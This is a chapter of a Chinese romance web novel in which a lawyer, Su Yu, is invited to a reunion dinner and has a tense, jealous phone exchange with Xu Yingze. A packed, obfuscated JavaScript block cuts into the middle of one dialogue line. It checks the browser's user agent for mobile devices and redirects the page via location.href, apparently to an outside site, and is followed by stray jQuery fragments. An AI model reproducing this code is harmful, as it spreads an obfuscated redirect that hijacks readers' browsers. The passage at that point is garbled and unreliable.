苏郁这边结束和孙茹的咨询已经过了下午六点，整理文件资料的时候，一通印着熟人名字的电话就响了起来。


    她向不远处正在帮社区工作人员收拾桌椅板凳的张景文挥了下手，示意自己接个电话，然后摁下接听键：“小喜？哪边的风吹得呀，想起来给我打电话啦？”


    电话那头传来一阵清亮爽利的女声：“我们的苏律苏大忙人真是会开玩笑，明明每次都是我给你发消息不回，打电话不接，约你吃饭喝酒你也不去，现在倒成了我不跟你联系似的！”


    唐小喜。


    苏郁高中毕业至今最好的朋友兼闺蜜，躺一张床上盖着被子能聊天聊到天亮的那种。


    苏郁知道唐小喜从小到大的各种荣誉和糗事，喜欢过的男生，来自工作生活家庭各方面的烦恼成长史等等等等，除了徐影泽，苏郁最了解最亲近的朋友，就是她。


    “好吧，是我不对，”苏郁被抱怨得有些不好意思，连连道歉，“工作太忙了，我真不是故意的。”


    自从做了律师这行，确实少了很多精力维系和朋友的关系，不是她不想，纯纯是没多余的时间。如果可以自己发展客源接洽案子，对工作内容有所筛选，或许真可以节省出很多时间在工作以外的地方，但目前，她不能。


    “嗯——”唐小喜拖了长音，“看你态度这么诚恳，就原谅你啦！”


    “打电话有什么事？”职业习惯发作，苏郁打断了寒暄，直接切入正题，被唐小喜又是一顿“数落”，吐槽她现在太过不近人情，好不容易打个电话，没说几句就问“有什么事”，人和人之间，难道就不能闲聊联络一下感情？非得“有什么事”才能联系？


    “不过，今天给你打电话确实有事，”唐小喜话锋一转，“周陈从A市回来了，约着今晚一起吃饭，让我问问你和影泽能不能一起来，大家有段时间没见了，聚聚？”


    周陈是苏郁的高中同学，唐小喜娘胎里带出来的竹马，两人从婴儿车到同一个幼儿园再到初高中一起没分开过，大学都是同一个地方。但周陈不甘在D市度过一眼望到头的人生，毕业后没几年去了A市闯荡，唐小喜则是考取了本地的公职，安安稳稳领份薪水过着小确幸的生活。因为很久不见，加上今天工作并不怎么忙碌，苏郁很爽快地就应承了下来。


    “但为什么让我去问影泽？”苏郁疑惑，高中时候与徐影泽关系最好的朋友就是周陈，“他自己联系不行？我跟他又没他跟影泽熟悉。”


    唐小喜无语地“呵”了声：“问他还不如问你，问他他不一定去，但是你去他肯定去！”


    “我去他也不一定会去吧，”苏郁并不懂唐小喜为什么能如此肯定，“影泽的工作室最近好像接了新项目，要加班画图，说不定来不了呢。”


    “别废话，”唐小喜果断安排，“听我的，你跟他说一声就够。餐厅地址我一会儿发你微信，一个小时后，不见不散。”


    说完就挂了电话，紧接着是订餐信息弹窗，最后还不忘配上一个眨眼的表情，并附字：“我跟你也有段时间没见了，咱们一起喝个痛快！”


    苏郁看着手机沉默了一会儿，摇了摇头，把消息转发给徐影泽，很快收到回复：“周陈回来了？”


    苏郁：“？”


    “你怎么知道？”她很惊讶，自己说明的短讯才编辑了一半。


    “今天不是周五么，”徐影泽此刻似乎也不太忙，但话说得多少有点阴阳怪气，“你这种‘大忙人’平时主动找我的次数寥寥可数，能约得动你的只有唐小喜，如果只是唐小喜不会让你再叫上我，更别说订这种多人雅座。所以只有一种可能，是周陈这小子从A市回来了。”


    苏郁：“……”


    “你怎么跟开了天眼似的，”苏郁摁着输入法键盘，“什么都知道。”


    “稍微想想就能想明白的东西，很简单，”徐影泽回复，“下班没？我去接你。一起过去。”


    苏郁心说唐小喜还挺了解徐影泽的，他还真去。


    “我在云上半岛这边。”


    “去做咨询活动了？”


    “……怎么又知道？”


    “你的事我都知道。”


    “……你是在我身上安了监控？”


    “胡说什么呢，”徐影泽回了个“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350045|183557||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    叹气”的表情，“等我。”


    苏郁忍不住给他打了个电话：“不用，你那边到这里要半个多小时呢，一来一回太折腾，我打车过去。”


    “谈不上来回，我今天正好在附近办事，就是顺路，用不了多少时间。蜀味楼在西边，我过去接上你直接过去。”


    “要绕路，”苏郁不想徐影泽太麻烦，“你真不用管我。”


    徐影泽的声音忽然低了几分，有些阴沉：“你是不想唐小喜和周陈看到咱俩一起？”


    像是生气了。


    苏郁不懂他为什么总因为这些鸡毛蒜皮的小事生气，她只是觉得，明明有更好的做事方式为什么要多此一举给别人凭添麻烦？这不是她的风格。怎么到了徐影泽那里，意思就变了？但她不想跟他因为这些事情争执，刚好张景文整理停当朝她走了过来，苏郁顺口说：“一会儿韩飞会来，我蹭他车过去。”


    这几天苏郁有意拉开了与韩飞的距离，但毕竟是一起工作很多年的伙伴，关系骤然降至冰点也有些不合情理，今天有张景文在，三个人一起的话问题应该不大。


    电话那头有好一阵没说话。


    “……他去找你做什么？”语调更低了。


    “景文今天跟我一起咨询，”苏郁有些抱歉地看向张景文，“师徒会面，约了今天一起复盘吧。”


    “……他的助理，为什么跟你一起咨询。”又问。


    “今天……”苏郁想起孙茹，“本来就是给实习律师和助理累积实践经验的，需要执业律师带队，我刚好有时间。”


    “你跟你那个大学生同事说，你今晚有饭局。”语气有些强势。


    “对啊，”苏郁不解，“所以才说刚好顺路蹭他们一程。”


    徐影泽又是好半天没说话。


    苏郁感到手机有些发烫，对面安静得像是挂断了，从耳边拿开一看，通话还持续着，忍不住“喂”了两声：“怎么不说话了？”


    沉默过后，徐影泽忽然长叹了口气：“苏郁。”


    “嗯？”


    “你……就不能……”


    “再多依赖我一些？”